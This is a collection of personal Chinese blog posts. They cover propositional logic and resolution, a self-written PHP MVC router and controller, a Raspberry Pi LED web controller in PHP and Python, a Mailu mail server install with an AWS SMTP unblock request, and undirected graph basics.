逻辑学起源于古希腊. 当时“雄辩“(Rhetorik)时常用”演绎推论法”(Deduktion). 由前提(Prämissen)和结论(Konklusionen)构成.

[TOC]

命题逻辑的语法(Syntax der Aussagenlogik)

命题逻辑由 原子公式(占位符,命题字母,命题变量) 和 逻辑运算符 组成.

而这样的一个式子(Formel)通常会用一个希腊字母表示.(在此文档中如此, 中文资料也见过使用拉丁字母abc的)

这样的陈述可能很难想象出式子,那么在这里附上一个式子:

$\alpha=((\lnot A \land B)\lor C)$

原子公式(Aussagenlogische Atome)

原子公式也叫占位符,命题字母,命题变量(Aussagenlogische Atome, Elementaraussagen, aussagenlogische Variablen)
由带或不带下标的大写字母构成, 比如:
A,B,X_i
如上面例子中的ABC.

运算符(Junktoren)

这里目前列出一些基本的运算符.

Junktoren
$\land$	Konjunktion和
$\lor$	Disjunktion 或
$\lnot$	Negation非
$\rightarrow$	Implikation蕴涵
$\leftrightarrow,\equiv$	Äquivalenz等价

符号记忆很简单, 我是觉得or比较容易true,贱贱的笑笑$\lor$. and比较刁难,不容易true, 摆脸色了$\land$.

其中的和, 或, 非, 不难理解.
and很明显从自然语言语义上就是”两者都成立才行”, or就是两个随便哪个行就ok, not 就是取反.等价是两者同为True或同为False才是True,也不难理解.

而蕴涵则可以理解为一个条件.

比如: P为人活着, Q为有水源:
那么$P/rightarrow Q$真值表可以解释为如下

人活着就要有水源. True
人没活着, 但是有水源, True
人没活着, 没有水源. True
人活着, 但是没有水源. False(这不可能)

此时, 有水源就是人活着的必要条件. 也就是说, 人活着(P)是有水源(Q)情况的子集.
同样充分条件也可以用蕴含关系表达.

而等价可以当作”充分必要条件理解”
能被2整除的自然数是偶数, 自然数偶数能被2整除. 逻辑真值表等价.

运算符号优先级

Bindungsregeln dienen der Ersparnis von Klammern

$\lnot > \land > \lor$
也不难记,小学牛津英语的神回答:not at all(not and or)

此外我接触过的大多数编程语言,php, python, C(++), java, javascript都遵从这个运算规定.

真值表(Wahrheitstafel)

我个人觉得没啥好做笔记的

一些基本概念(Grundbegriffe)

先设一个集合$V$,是某式子所有原子公式(上面的A,B,C那样的变量)的集合

一个函数$l()$存在映射$V\to \left{ True, False \right}$ (解释,Interpretation)

假设存在一个$\alpha$:

Erfüllbar(可满足): 至少存在一个赋值方法可以让$l(\alpha) = True$ 比如$A\lor\lnot B$ 当 $A=True,B =True$
Tautologie(重言,永真): 无论如何赋值$l(\alpha) = True$ 比如$A\lor \lnot A$
Widerspruchsvoll(矛盾): 无论如何赋值$l(\alpha) = False$ 比如 $A \land \lnot A$
Falsifizierbar(可证伪): 至少存在一种赋值,让$l(\alpha) = False$ 比如 $A \lor B$ 当 $A,B = False$

这里有一个结论,一个”矛盾”的$\alpha$,在其取not时$\lnot \alpha$是重言的

因为$\alpha$是”矛盾的”,所以根据定义,$l(\alpha) = False$, 所以无论定义域$V$中如何取值(alpha中变量如何取值),都不影响这个结论. 同样的当$l(\lnot \alpha)$时,无论定义域如何取值也不会影响$l(\lnot \alpha) = True$.

语义后承(语义蕴涵,Semantische Folgerung)

如果我们假设M为非空集合, 存在$\alpha_1, \dots,\alpha_n$使$M={\alpha_1, \dots,\alpha_n}$(也可写做$\alpha_1 \land \dots \land \alpha_n$)当存在$\beta$,当解释$l(M)=True$时同样$l(\beta) =True$, 那么可以认为此为语义后承. 写做$M\models \beta$

(说白了就是Alpha是真的时候beta也是真)

如果此时集合M里只有一个$\alpha$那么可以写作$\alpha\models\beta$, 若M是空集,存在$\models\beta$那么意味着$\beta$重言(Tautologie).这是一种特殊的语义后承.

一些推论:

$\alpha \models \beta$: $\models \alpha \rightarrow \beta$, $\models \lnot \alpha \lor \beta$
$\alpha \models \beta$: $\alpha \land \lnot \beta$ 是矛盾(Widerspruchsvoll)
如果$\alpha$是矛盾的(永为False)那么$\alpha \models \beta$ 此处$\beta$可以为任意式子.
如果$\alpha$是矛盾的(永为False)那么存在$\alpha \models (A \land \lnot A)$

语义后承的一些重要规则

这些规则在后面的归结(Resolution)中会有用

$\alpha, \; \alpha \to \beta \models \beta$(Modus Ponens(拉丁语,肯定前件))
$\alpha \to \beta,\; \beta \to \sigma \models \alpha \to \sigma$(Kettenregel,链式法则(?))
$(\alpha \lor \beta),(\lnot \beta \lor \sigma) \models (\alpha \lor \sigma)$

逻辑等价(Logische Äquivalenz)

如果两个式子$l(\alpha) = l(\beta)$成立即等价. 写做$\alpha\approx\beta$(国内资料也有很多使用=表示)

此时也存在$\alpha \models \beta,\beta\models\alpha$

逻辑转换化规则(Umformungsregeln)

此处偷了懒, 等价用了等于号.

Negation(对合律): $\lnot \lnot a = a$
Idempotenz(幂等律): $a \lor a = a,\;a \land a = a$
Neutrales Element(互补律的一种用法): $(\alpha \land \lnot \alpha)\lor \beta = \beta,\;(\alpha \lor \lnot \alpha) \land \beta = \beta$
Kotradiktion/Tautologie: $(\alpha \land \lnot \alpha) \land \beta= \alpha \land \lnot \alpha,\;(\alpha \lor \lnot \alpha)\lor \beta= \alpha \lor \lnot \alpha$
Kommutativität(交换律): $\alpha \lor \beta = \beta \lor \alpha,\;\alpha \land \beta = \beta \land \alpha$
Assoziativtät(结合律): $(\alpha\lor\beta) \lor \gamma = \alpha \lor (\beta \lor \gamma),\;(\alpha\land\beta)\lor\gamma = \alpha\land(\beta \land \gamma)$
Distributivität(分配率): $(\alpha \land \beta)\lor \gamma = (\alpha \lor \gamma) \land (\beta \lor \gamma),\;(\alpha\lor\beta)\land \gamma = (\alpha\land \gamma) \lor (\beta \land \gamma)$
De Morgan(德摩根定律): $\lnot(\alpha \land \beta) = \lnot \alpha \lor \lnot \beta,\;\lnot(\alpha\lor \beta) = \lnot \alpha \land \lnot \beta$
Absorption(吸收率): $\alpha\land(\alpha \lor \beta) = \alpha,\; \alpha \lor(\alpha \land \beta) = \alpha$

逻辑2:命题逻辑,范式,归结

1608611185

这节笔记接着上一篇命题逻辑和语义后承

如果阅读过程出现理解困难,请点上面链接看第一篇的名词.

重要概念:文字和子句

都是一些名词, 概念不难但是如果不记住这些词的话,后面内容可能难以阅读.

文字(Literal)

这里的文字是指一个原子公式atom,或它本身的否定,比如: $A$

而它的否定和肯定也有名词,如下:

肯定文字(positives Literal)

比如 $A$

否定文字(negatives Literal)

比如$\lnot A$

子句(Klausel, Disjunktionsterm, Disjunktionsglied)

kurzgesagt, in a nutshell, 简而言之就是文字的析取

Disjunktion von Literalen

比如$\alpha_1\lor\alpha_2 \lor\dots \lor \alpha_n$

K-子句(K-Klausel)

就是带有k个文字的子句

Unit-Klausel

Klausel, die aus einem Literal besteht
单文字子句

Monom(auch Konjunktionsterm)

文字的合取,中文译名不知道XD

范式(Normalformen)

否定范式(NNF:Negationsnormalform)

否定范式这个词是我根据日语(否定標準形)自己造的,不知道对不对

定义

一个式子$\alpha$
没有等价和蕴涵的符号
每个非运算符都直接和一个原子公式连接

例子

比如$(\lnot A \lor Y)\land (\lnot A \lor B)$这就是一个NNF,否定范式.

反例:

$\lnot\lnot A$和$\lnot(A\lor B)$就不是NNF. 前者一个非操纵符和另一个非操作符连接,后者接括号上了.

然而每个式子都存在一个等价的NNF
比如上面的反例,前者可以使用对合律, 后者可以使用德摩根定律把非操作符放到每个的前面.

合取范式(KNF, Konjunktive Normalform)

定义

设$\alpha1, \alpha2\dots\alpha_n$都是子句,那么$\alpha = \alpha1 \land \alpha2 \land \dots \land \alpha_n$为合取范式.

简而言之, 就是合取所有的子句. 先把所有原子析取,再合取.

同样,每个式子(Formel)都可以转化成为等价自身的KNF(通过双重否定,德摩根,分配率)

也存在一个问题就是程序处理这种转换可能会有2的n次方个子句,造成困难.

例子

比如$\alpha = {(A\lor B)\land (C\lor D)}$

析取范式(DNF, Disjunktive Normalform)

定义

和合取范式正好相反, 是对Monom的析取.同样的,每个式子也都可以转化为自身所等价的DNF.

归结/消解原理(Resolution)

为了方便理解,放上英文wiki的图:

本质上是取合取范式,利用上面提到的规则(见上一篇文章的语义后承的重要规则一节)对其进行化简. 如图中的a和非a就是所谓的互补对.

而两个子句中存在文字可以构成互补对的情况下,便可以化去,剩下的文字可以构建成一个新的子句.

如上图所示,横线之上两个子句中的文字a构成的互补对可以化去.在横线之下构成一个新的子句

自写PHP MVC框架(2)

1608614020

很抱歉,第一篇写完放鸽子放了这么久. 这里接着前文[这里]继续

上一篇设计到了一个请求进入index.php后,在路由之前的事情.

这篇我们跟随一个请求,看看在路由和控制器基类里发生了什么.

路由Router.class.php

路由可能是整个框架的一个败笔.
由Ugly调用start静态方法启动路由,从这里开始.为了兼容特殊uri格式,所以看起来有些奇怪的代码. 我都进行了注释.

<?php
namespace Ugly;

/**
 * Ugly Router, very ugly as its name.
 */
class Router extends Ugly
{
  /**
  * Start() do nothing but only let everything run.
  */
  public static function Start()
  {
      $uri = self::_parsing(); //这里开始,解析请求URL
      self::dispatch($uri);  //这里在解析结束后,开始分发,调用内核namespace之外的类(控制器初始化)
  }

  /*
  * Parsing URL into $uri
  * [0]=>controller [1]=>action [>2]=>params
  * Do not set any param as same as the name of the Action....
  */
  protected static function _parsing()
  {
    $uri = explode('/', trim(parse_url($_SERVER['REQUEST_URI'],PHP_URL_PATH), '/'));
    self::$controller = !empty($uri[0]) ? ucfirst($uri[0]) : self::$config['DEFAULT_ROUTE']['CONTROLLER'];//如果这里没有接收到控制器,那么就把配置中默认控制器拿出来放这里
    self::$action = !empty($uri[1]) ? $uri[1] : self::$config['DEFAULT_ROUTE']['ACTION'];//同上,默认的动作
    //cut up params into KV array 这里在分割参数并且交替放入数组.我觉得我实现这里写的很啰嗦,肯定有更好的办法.为什么分割?因为我这请求格式是restkhz.com/[c]/[a]/[参数名]/[参数]/[参数名]/[参数]
    $raw_param = array_slice($uri, 2);
    $count = count($raw_param);
    if($count==1) {
      self::$param = $raw_param;
      return;
    }
    $k=[]; $v=[]; $c=0;
    $it=$count-1;
    for ($i = 0; $i < $it; $i=$i+2) {
        $k[$c] = $raw_param[$i];
        $v[$c] = $raw_param[$i+1];
        $c++;
    }
    self::$param = array_combine($k, $v);
  }

  public static function dispatch()//分发请求
  {
    $controller = '\Controller\\' . self::$controller;
    $controllerObj = new $controller;
    if(method_exists($controller,self::$action)){//下面代码是为了兼容/post/helloworld这样的格式.此时只有控制器没有具体Action名称,所以先判断是否存在.这样的格式有利于搜索引擎爬取.
      call_user_func_array(array($controllerObj,self::$action), array(self::$param));
    } else {
      $param = self::$action;
      self::$action = self::$config['DEFAULT_ROUTE']['ACTION'];
      call_user_func_array(array($controllerObj,self::$action), array($param));
    }
  }

}

好了,到这里,一个请求完成了解析,并且开始调起具体控制器和参数.

控制器基类Controller.class.php

这里是所有控制器基类,namespace依旧是Ugly,内核空间.它应该具备所有控制器共有的功能.

加载一个视图引擎,从Ugly.class.php那里克隆过来.(我不知道这个方法好不好,但是就这样写了)
加载一些共有小部件(Widgets)这些东西是我考虑以后开发可以灵活扩展控制器公用功能, 而尽可能不要修改这个文件(这边写的有问题,所以在下面代码里已经移除)由于有点不太符合中间件定义所以改名小部件XD
检查其它控制器有没有定义init()函数,如果定义了就引导. 这样可以灵活的让每个控制器运行时,先运行一个函数,可以进行权限检查之类的. 当然一开始设想是权限检查这类的可以作为Widgets灵活插入,如此以来可以减少init()重复工作.
Json函数定义, 这里初始化了Json的接收和发送.一开始也想作为Widgets无奈Widgets出了点猫饼…直接硬生生的塞这里了.不要学我,谢谢…

<?php
namespace Ugly;

//use Widget\ViewsCounter;

/**
 * Mother Controller.
 * 1. Include view engine
 * 2. Load widgets
 * 3. and some dirty functions be defined here...
 * 4. Check init() for every controller.
 * 5. Session started here
 */
class Controller
{
  public $view;
  /**
   * Reply with a json
   */
  public function echo_json($array) {
    echo json_encode($array);
  }

  /**
   * Sometimes we will get a Json in POST body.
   * So we use this func, in order to get the request
   * @return object when success
   * @return boole when...craped
   */
  public function get_json()
  {
    $raw = file_get_contents('php://input');
    $json = json_decode($raw);
    if($json){
      return $json;
    } else {
      return false;
    }
  }

  /**
   * Init $_JSON[]
   */
  private function _constructJson()
  {
    $raw = file_get_contents('php://input');
    $json = json_decode($raw, true);
    global $_JSON;
    if($json){
      $_JSON = $json;
    }
  }

  /**
   * clone a view engine from Ugly core
   */
  function __construct()
  {
      session_start();
      $this->_constructJson();
      $this->view = clone Ugly::$view;
      if (method_exists(get_called_class(), 'init')) {
        $this->init();
      }
  }

  function outputJson($json=[],$status=200,$msg='') {
      echo '{"status":' . $status . ', "data":' . json_encode($json) . ',"msg":"'. $msg .'"}';
  }

  function __destruct(){

  }
  /**
   * Load widgets here
   */
  function LoadWidgets()
  {

  }

}

Raspberry Pi B+ web物联网遥控灯初试折腾笔记

1608887680

本文算是老文章了(2016),当时还在用tk域名,为了搬迁使用markdown重新写(复制粘贴)了一遍. 因为2016年至今有一些东西可能已经发生变化,部分变化内容已经注明. 树莓派已经出了4, 今年PHP也出了8.
部分平台转载了这篇文章, 但是代码那边貌似有点问题.

另外,看自己中二病真的是一件羞耻的事.

缘起

暑假一段时间也是……闲的蛋疼。就拿出Raspberry准备折腾一番，结果被吐槽“两百多你不如买个二手手机而且性能不会比这个差”“控制灯？你用这个不如用Arduino”

哦，好吧。其实树莓派有GPIO，这个是一个和Arduino类似的东西。但是却有强于Arduino的性能。我们可以研究这个，并且结合起来，凸显它的优势。本文还是主要说明树莓派的web和简单的物联网控制。

动手

于是就动手了。后面发现GPIO用python的socket控制的话，十分麻烦。我不是说写socket麻烦，而是不容易跨平台控制，于是便有了用web的想法。可惜我web只是入门，python写不出，所以就用了稍稍会那么一点的php。当然我也是参考和引用了资料，资料地址如下（同时感谢乐于分享的人） :fb文,提到web控制灯,详细介绍pi的GPIO因为关于GPIO的介绍这里和百度很全了，所以我也就不再说哪个针脚是哪个。为了方便和安全，我这里没用继电器控制电灯。使用了LED灯组。同时我也<strong>不推荐像FB文使用强电。实验准则人身安全是第一位的。特别是还在调试阶段就更不应该使用强电。

你需要:
[ * ]树莓派B or B+ or 3 一个，并有套件且装好系统(A的话可能针脚有所不同不过没关系，源别瞎改)
[ * ]杜邦线若干（母对母）
[ * ]电脑一台,有良好的开发环境和putty之类的管理程序
[ * ]网络
[ * ]LED灯组(单个也没问题)
[ * ]你想做

因为本人新手又是不太熟悉linux和GPIO的人，所以不免绕了许多路。所以你可能还需要一些linux操作基础。

先连接硬件。LED灯组如果不喜欢就用单个LED，为了防止烧坏建议串联100欧姆的电阻，因为工作电流可能会很大(相对于LED额定电流)。因为二极管有单向导电性所以LED长腿是正极断腿负极。不要接错，接错没关系，检查以后接回来即可。 Tips:给那些没玩过太多电子电路无线电的朋p友y说粗略明下串联电阻是有必要的,如果没电阻也可以拆拆废电器，没有电烙铁可以用打火机加热的粗铜丝一头裹东西拿着去触碰焊点，可以有电烙铁一般的效果，轻松拆下元器件。电阻会有四个色环，按着金色或者银色是最后一个的顺序第一个是第一个数字第二个是第二个数字第三个环是倍数,十的幂次。金色和银色代表误差。按着 棕红橙黄绿蓝紫灰白黑表示1234567890 。比如[棕黑棕(金或银)]是100欧姆(棕1黑0棕x10^1)，[棕黑红(金或银)]是1KΩ(1 0 x10^2)。这里100欧姆即可。太大电阻影响亮度。如果电阻腿够长，你可以尝试铰接。两条腿交错拧一块就行。

好的，一切都准备好，连接上pi然后先解决py问题
这个在新版的系统里已经默认安装好。

(搬迁时重写的注明:在2016年编写该脚本时使用的是Python2,系统也默认python是python2, 至于raspbian版本已经不记得了,现在是否默认带有Python2也不清楚,请记得改掉shebang这#!/usr/bin/python这句.)

#!/usr/bin/python

import sys
import RPi.GPIO as GPIO

GPIO.setwarnings(False)
GPIO.setmode(GPIO.BCM)

args = sys.argv
Act = args[1]
pin = 17
GPIO.setup(pin,GPIO.OUT)

if(int(Act)==1):
    GPIO.output(pin,GPIO.HIGH)
    print "HIGH"

if(int(Act)==0):
    GPIO.output(pin,GPIO.LOW)
    print"LOW"

注意这里RPi.GPIO，是RPi！i是小写，当时我按了大写，怎么也不能引用……

setwarning(False)屏蔽一些错误和提示信息并强制执行

setmode是选择一种针脚编码方式，有BOARD和BCM两种，有兴趣可以看看。在上面链接里第二个有详细的介绍。我们这里就用BCM了

到了这个时候就可以保存你的py并且上传到你的pi上开始测试

python gpio.py 1      #输出高电平
python gpio.py 0      #输出低电平

这个时候你会发现你已经可以控制一个灯的开关。如果真的这样那么恭喜您。你可以考虑用web控制了。

我在这里也用的是lamp(m划掉，实际上这里没用到，后面也不提了)

提醒一下大家树莓派的源真心别瞎改，我当时改的，然后先是各种依赖不行，然后更恶心的是解决了依赖然后搞了个Debian的Apache2，连httpd.conf都没有，然后去mod里面软连。php又是各种问题，后面尝试nginx时cgi又有问题……最后改回来又花了很大劲……(搬迁归档注: 那个时候其实还弄不懂官方文档,有够蠢的.顺便提一下, 任何东西都是在更新的, 老的文章笔记很有可能可能会失效,一定要看文档手册!)

原生源安装特别方便：

(搬迁归档注:现在安装apache和php命令可不是这些,php8都出来了.)

sudo apt-get install apache2 php5

然后电脑浏览器打开即可。你会发现默认页面里还有个树莓LOGO。

/var/www/html里添加一个php测试一下<?php echo “test”; ?>

如果成功输出test那么安装成功,请继续往下看.

好了，这就行了。十分方便。我为此写了一个php+html(在下不是phper也不会前端所以要求不高，界面不美观。只是觉得那个FB的PHP有可以改进之处，水平问题，我只能尽量安全可靠，方便调试)

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>The show start when the lights on</title>
</head>

<body>
<span class="STYLE1">Light Controller&nbsp;&gt;</span>
<form id="form1" name="form1" method="post" action="">
<label>The show start when the lights ON!</label>
<label>----------------------------------</label>
<label>Token:</label>

<input type="password" name="pwd" />

<input name="act" type="submit" value="ON" />
<input name="act" type="submit" value="OFF" />

</form>

</body>
</html>


<?php //php开始

function debug($r){ //调试函数，为了输出错误
if ($r=="") { //
echo "

Error: 
"; //
echo "<font color=\"red\">".file_get_contents("/var/www/html/l.txt")."</font>"; //错误在/var/www/html/l.txt可以自己定，这里显示错误方便调试
}
}

$p='wtf'; //令牌,自己改
$bool=false; //$bool控制Permission Denied显示

@$act=$_POST['act']; //获取post得到令牌和动作,@屏蔽刚刚打开时的提醒
@$pwd=$_POST['pwd']; //

$bool=isset($pwd)?true:false; //判断如果有pwd传入,赋值true显示permission Denied,这里为了防止一打开就看到

if ($p===$pwd) { //传入密码和定义的一样的话
if($act==='ON'){ //###开灯动作,把www-data加入soduer然后sudo,用visudo，具体网上有说的
$return=shell_exec("sudo python /var/www/gpio.py 1 2>/var/www/html/l.txt"); //运行shell，如果出错，错误信息重定向至显错文件/var/www/html/l.txt
echo 'Light ON!--->'; //输出开灯和箭头
echo "$return
"; //输出py运行结果
debug((string)$return); //执行调试函数
} //
elseif ($act==='OFF') { //判断关灯动作
$return=shell_exec("sudo python /var/www/gpio.py 0 2>/var/www/html/l.txt"); //###(接上shell_exec)因为会调用/dev/mem和/dev/gpiomem，需要root.关灯动作执行
echo 'Light OFF!--->'; //输出关灯和箭头
echo "$return
"; //
debug((string)$return); //
} //
else{ //
echo 'Error!'; //如果post的数据不是ON，不是OFF，那就丢出ERROR
} //
} //
else //
{ //
if($bool){echo "Permission Denied!";} //密码不对，或者只传入动作，输出这句
} //
?>

这里我已经把我的php注释的十分详细了吧=_=debug函数为了调试shell_exec()方便

“The show start when the lights ON——rustylake”

注意：www-data要sudo这个注释里面说了,重定向输出可以方便的检查出错，因为出错时输出不是标准输出所以返回为空。我为了方便检查，所以重定向错误到文件并输出。方便了很多。权限问题很重要，当时基本出错都是这个。比如文件无法访问问题，命令执行时可能还有问题。。还有/dev/mem的问题，这玩意错了还不回显所以只能自己附带函数调试。本代码移植性不一定好。所以可能自己需要改改。我已经做的尽量安全，美观了。并且附带调试函数。可以显示错误信息方便调试，避免走弯路。（当时被坑惨了）

虽然这里已经不直接调用post来进行shell_exec()，并且带上一个密码验证。安全性较FB文有所提升，但依然是实验而且本人php仅仅入门。所以能不能对外网开放请再三考量。~~效果图是视频做的,貌似图有问题不过还是附上：~~图已经丢失

Docker搭建邮件系统(mailu)

1609506703

废话

去年,曾经在自己房间里的Gen10服务器上搭建过一个邮件系统 . 在Proxmox中的一个容器上使用了EwoMail. 然而身处异乡又频频搬家,最后因为生活中各种毛刺琐事,那个CT便再也没有闲心启动过了.
当时我选择使用EwoMail是因为它在国内还比较活跃,相关资料也很齐全.简要说明一下当时搭建过程:

使用了CentOS的CT模板
利用FRP转发端口到AWS的VPS上
设置SPF和DKIM等等

当时用了一阵子,也还可以(就是能用),但是这样子缺点也很明显:

在2020年centOS的变质,已经不再可靠.
由于网络环境,和内网转发这两个情况,使得这个本对服务可靠性要求极高的服务变得不稳定.
动态IP和民用宽带导致对于PTR和SPF设置成为了一大问题.尽管当时已经在mail-tester的spam测试中高分通过并且并没有邮箱会Block我的邮件.
EwoMail在日后的维护上还是有点繁琐.(独占一个CentOS)尽管已经用CT单独创建了.

以上这些原因还是让我最终放弃了这个方案.

选择:寻找新方案

我决定在AWS上直接搭建邮件服务了,那么又有问题了:

服务器已经在跑别的服务了,很多国内开源邮箱的安装对于原来的服务是一场灾难.无视你之前安装的服务强行覆盖,并且日后维护的环境混乱是致命的. 干净的CentOS? 我哪有钱再开一个?
至于EwoMail必须需要一个CentOS,显然我不会选择CentOS.
AWS默认不开放SMTP出站(最后写了解决)

看了看各种开源邮件系统,最终 Mailu成为了我的选择.

介绍: Mailu的哲学

看到首页,文档式的页面赫然写着一行General Concepts: Philosophy.

Mailu背后的哲学是基于几条重要性递减的原则的:

一个适当/合适的邮件服务器只运行免费软件
一个适当/合适的邮件服务器应容易设置和维护
一个适当/合适的邮件服务器提供合适的安全性
一个适当/合适的邮件服务器应该有简单美观的UI

哈,有点意思.

首先,Mailu是开放且免费的.

Mailu运行在Docker之中,而且使用了多个Docker容器,通过一个虚拟的内网来通信,对于一个VPS来说,很好的解决了一个多用途VPS管理维护的问题,某种意义上也解决了部分安全问题.

如图,portainer容器管理能看出来mailu是怎样的架构.

另外,和别的很多邮件系统一样,使用Roundcube或者Rainloop作为web email client. 有着美观的UI. 管理台基于Flask,维护配置也很简单.而且安装过程几乎只需要点一点,复制粘贴一下就行.非常的友好.

安装

环境和准备

吹了一波了,开始动手吧.首先就是啃文档,准备环境和选择Mailu版本.在写本文时,Mailu的1.7是最新的稳定版,那么就选择Mailu1.7了.

至于环境,不像EwoMail,Mailu理论上可以在任何支持docker的机器上运行.

Mailu官方更推荐使用Debian,因为他们的测试几乎都是在Deb上完成的.
DockerAPI版本大于等于1.11.
而如果用docker-compose安装,那么(目前)需要compose版本为2.2
2GRAM,1G空闲,虽然我512M机器跑起来了.

硬件环境官方认为至少需要2GRAM机器并且确保1G是空闲的,出于稳定性考量,是应该这么做.但是很有趣的是,我vps机器只有512M的RAM, 居然跑了起来. 现在占用内存大概300M出头.SWAP几乎满载.因为在安装的时候数据库选择使用了sqlite.(个人邮件和机器邮件通知应该不会需要那么好的数据库性能)当然你也有诸如Mysql的选择,整个安装过程是一键自动的,你也不需要操心配置.

2021/2/8补充: 512M内存有宕机可能. 任何暴露在互联网上的固定端口服务时时刻刻都在遭受攻击,我的SMTP服务一直在经受洪水般的暴力破解. 在二月八日因为SMTP不堪重负服务挂了一会. 大量swap硬盘操作导致CPU一直空闲. 出于稳定性考虑, 非常不建议使用512M的机器, 建议更换大一些的内存的机器. 我相信1G内存对于sqlite的mailu应该是足够. 准备增加RAM. 2021/6/6: 1G内存的VPS已经稳定跑sqlite数据库的mailu几个月了, 依旧反应迅速. 之前512M用了几个月后两三个星期挂一次…

施工中

Mailu的安装很有意思,在线生成docker-compose.[安装生成工具]

由于点点鼠标要啥有啥,具体需求因人而异并且未来应该会有变化,所以不会上截图, 而且至于你要敲什么命令, mailu会因人而异的自动生成你要敲的命令,安装文档,手把手告诉你该做什么.太贴心了,我不啰嗦了.

存储卷就默认的/mailu就行,TLS除非有别的方案,letsencrypt,挺好的.Mailu会自动更新自己的SSL证书完全不需要自己操心(更新:目前Letsencrypt证书在个别邮箱客户端因为SSL pin问题后需要在邮箱客户端手动禁用SSL pin安全功能.因为Letsencrypt证书三个月过期后更新的证书显然和SSL pin的证书不一致导致客户端认为受到中间人攻击自动放弃连接.不过也就是第一次配置点一点的问题,不麻烦.)

至于邮件客户端,可以选一下,提供rainloop和roundcube.都挺好看.我用的rainloop, 没啥问题.

反病毒因为机器性能不行,没开.webdav,fetchmail随意.

至于IPv4 listen address按需要改一改,虽然不推荐0.0.0.0但是我设置的是0.0.0.0

至于数据库,为了压缩内存消耗,我选择了最轻量的sqlite.嗯,和这个博客系统一样.

一些都设置好了,点击生成后会跳转链接,根据你刚才的选择配置,你跟着它一行一行把命令复制粘贴进终端,不会出错.

跟着自动生成的安装文档,到此为止,你的邮件系统应该就搭建好了.

防止暴力破解的验证次数限制不宜设置过低,这里有坑:Rainloop每次操作都存在验证,防止暴力破解的block工具并没有在意你有没有通过验证. 也就是说,尽管你每次验证都是通过的,短时间Rainloop频繁操作依旧会把自己Block掉.然后在Rainloop中只会提示摸不到头脑的“authentication failed”然而任何第三方客户端并不会受到影响.

哦对了,希望你DNS的MX也设置好了.如果设置好了,此时进入后台配置一下,去/webmail里接收邮件应该没有任何问题.

我真没觉得这块还有啥好说的

剩下就是SPF,PTR这些设置.另外DKIM,DMARC设置也都是后台自动生成的,只需要你自己复制粘贴填写进域名txt字段就好.非常简单. 如果不知道咋整, 请结合别人文章或者你DNS服务商的帮助文档. 一搜一大把, 不提.

结束以后可以去mail-tester测试一下你的邮件分数, 如上配置几乎满分, 不用担心你的邮件被投入垃圾箱.

最后

如果你是在lightsail搭建的,那么你的所有smtp通信都是被屏蔽的.你需要提交一份工单.现在可以看下一篇文章.
刚刚已经设置好了SPF,PTR,DKIM,DMARC,只需要和lightsail工作人员详细说明你已经进行了足够安全的设置避免spam,就可以unblock.

至于AWS中lightsail服务器smtp发邮件限制解除看这里

AWS中lightsail服务器smtp发邮件限制解除

1609508246

在上一篇文章中,我用Lightsail搭建了邮件服务器,但很多提供商都因为SPAM的问题屏蔽了SMTP发送邮件的服务.

你可能会想,谁缺德罚谁呗.但是实际情况是,很多SMTP服务的配置不当,可能会被人利用发spam.被利用的人也挺委屈的:我这中规中矩的怎么就被罚了.

另外AWS也有自己的邮件服务,正好,也算多个理由赚钱.一刀切了SMTP既能防治spam又有新业务,啧啧,名利双收.

但是AWS还是讲道理的.可以提交工单解除封锁.而且人家贴出来了:How do I remove the restriction on port 25 from my Amazon EC2 instance or AWS Lambda function?

在这里提交申请
Request to remove email sending limitations

我在这里写的有点简单,当时心里想,碰运气了.估计没人理吧.
结果一个申请发了,几分钟后就收到邮件回复:

Thank you for submitting your request to have the email sending limit removed from your account and/or for an rDNS update.
We will require the following before this request can be processed.

* A clear/detailed use-case for sending mail from EC2.

* What type of configuration or setup have you implemented to prevent spam from originating from your EC2 resource? (Please Elaborate)

惊了,看来AWS认真了. 那么我怎么能不认真呢? XD
这种问题问得和主观题一样, 高中生就很擅长.

要详细分点说明,你要做什么.我邮件里分一二三,贴图证明.
我的理由就不说了,免得给某些人盯上抄作业了.

至于如何防止被利用发SPAM,嗯,你得详细的,从PTR,SPF,DKIM配置入手说明,限制SMTP的入站IP之类的,密码又长又反人类. 配置一遍.我也截了图,配上说明,发了.

十分钟以后收到回复:

We approved your request for the removal of the EC2 email sending limitations on your Amazon Web Services account for the following regions: xxx

完事了.

图论:从无向图到有向图基础笔记

1609683817

前言

该笔记是以德国图论的一个贯穿PPT作为骨架,使用汉语/英语作为补充资料填充血肉最后整理成为汉语的终极缝合怪.
~~图片从外部wiki链入,不确保地球上所有能看到本文的人都能看到图.如果有必要,适当使用某些工具,刷新本页面后查看.~~已经把图上传到github.
因为是个人笔记,不确保准确.
内容来说仅仅是贯穿的概念梳理,不涉及算法和深入的推论.,如果你想深入学习推论证明和算法,时间宝贵,CTRL+F查找一下,没有的话现在可以离开了.
由于这个板块内容来自于不同教材,不同语言,不同标准之间翻译用词有点混乱. 我已经努力尝试规范用词问题,但是我很清楚,不一定正确妥当.
很多定义是我从英语和德语自己翻译过来的(非机翻),由于定义存在大量从句,奇怪的思维,可能写出的汉语会很奇怪.
如果发现错误,非常欢迎留言,帮助我学习.在此先感谢!

无向图(Ungerichtete Graphen [engl. Undirected graph])

定义

无向图G可以用一个二元组(Paar)表示.$G=(V,E)$,在此处V是一个由顶点(德:Knoten英:vertices)组成的有穷,非空集合. 集合E是 集合V的双元素子集的集合的子集 .( Die Menge E ist eine Teilmenge der Menge der zweielementigen Teilmengen von die Menge V ,我看到这句绕口令的时候也是想掀桌子的 :) )写做:

$E \subseteq { {x,y } | x,y \in V, x \neq y }$

E中元素叫做边(德:Kanten英:Edges)

简单说,就是一个二元组,每个元都是一个集合,记录了点和他们之间的连接状态.

实例

The diagram is a schematic representation of the graph with vertices $V={1,2,3,4,5,6} E={{1,2},{1,5},{2,3},{2,5},{3,4},{4,5},{4,6}}$

(来源https://en.wikipedia.org/wiki/Graph_(discrete_mathematics)))

一些特殊的无向图图

完全图(Vollständiger Graph [engl. Complete graph])

写作$K_n$.n是顶点数量. 每两个顶点之间都有边连接.故其有$\frac{n(n-1)}{2}$条边.

循环图(Kreisgraph [engl. Cycle graph])

(也有叫做环形图,环图,圈图,周期图的)
循环图写作$C_n$,n为顶点数量.由至少三个顶点组成,构成一个环形的图.

$V={v{1},\ldots ,v{n}}$

$E={{v{1},v{2}},{v{2},v{3}},\ldots ,{v{{n-1}},v{n}},{v{n},v{1}}}$

这个图属性很多, 目前先写这三点属性

每个定点度数均为2
顶点和边数量上相同.
连通图,欧拉图,哈密顿图(不懂先跳过)

链 (Pfad [engl. Chain/Path Graph])

